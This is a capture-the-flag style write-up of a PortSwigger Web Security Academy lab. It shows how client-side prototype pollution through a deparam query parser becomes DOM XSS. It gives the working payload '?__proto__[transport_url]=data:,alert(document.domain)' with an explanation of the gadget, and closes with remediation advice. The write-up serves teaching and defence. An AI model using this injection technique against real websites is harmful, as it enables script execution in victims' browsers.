DOM XSS via Client-Side Prototype Pollution
Overview
Lab: DOM XSS via client-side prototype pollution Platform: PortSwigger Web Security Academy Vulnerability: Client-side Prototype Pollution -> DOM XSS Difficulty: Practitioner
Vulnerability Analysis
The Pollution Source
The application uses a vulnerable deparam function to parse URL query parameters. This function is vulnerable to prototype pollution via bracket notation:
?__proto__[property]=value
The Gadget
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
Key Observation
The config object is created with only one own property: params
let config = {params: deparam(...)};
The code then checks config.transport_url, but this property does not exist as an own property on config.
The Attack
Why This Works (Direct Pollution)
Unlike more complex labs with defenses, this one has no protection:
confighas no owntransport_urlproperty- No
Object.definePropertycalls - No explicit
transport_url: falseinitialization
When JavaScript evaluates if(config.transport_url):
- Checks
configfor own propertytransport_url-> not found - Looks up prototype chain ->
Object.prototype.transport_url - If polluted, returns attacker’s value -> truthy!
- Script injection executes
Attack Chain
- User visits URL with
?__proto__[transport_url]=data:,alert(document.domain) deparamparses query string and pollutesObject.prototype.transport_urlconfigis created with onlyparamspropertyif(config.transport_url)checks for property- No own property found -> inherits from polluted
Object.prototype - Condition is truthy -> script element created
script.src = "data:,alert(document.domain)"-> XSS!
Solution
Payload
?__proto__[transport_url]=data:,alert(document.domain)
Why Bracket Notation Works (But Dot Notation Doesn’t)
The deparam function specifically parses bracket notation for nested objects:
if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
keys = keys.shift().split('[').concat( keys );
keys_last = keys.length - 1;
}
With brackets __proto__[transport_url]=evil:
- Regex detects
[-> splits into['__proto__', 'transport_url'] - Traverses:
obj['__proto__']['transport_url'] = 'evil' obj['__proto__']returnsObject.prototype-> pollution!
With dot notation __proto__.transport_url=evil:
- No
[detected -> no nesting - Creates literal property:
obj['__proto__.transport_url'] = 'evil' - Just a weird property name -> no pollution
Comparison with “Browser APIs” Lab
| Aspect | This Lab (Direct) | Browser APIs Lab |
|---|---|---|
Own property transport_url |
No | Yes (false) |
Object.defineProperty |
No | Yes |
| Pollution target | transport_url directly |
value (descriptor hijack) |
| Complexity | Simple | Requires bypass |
Key Takeaways
- Missing own properties are vulnerable: If code checks a property that doesn’t exist on the object, prototype pollution can supply the value
- Parser syntax matters:
deparamuses bracket notation[]for nesting, not dot notation. - Always check object initialization: Look for what properties are explicitly defined vs. assumed
Remediation
- Initialize all expected properties:
let config = { params: deparam(...), transport_url: null // Explicit initialization }; - Use
hasOwnPropertychecks:if(config.hasOwnProperty('transport_url') && config.transport_url) { // ... } -
Sanitize pollution sources: Filter
__proto__,constructor,prototypefrom user input - Use
Object.create(null): Creates objects without prototype inheritancelet config = Object.create(null); config.params = deparam(...);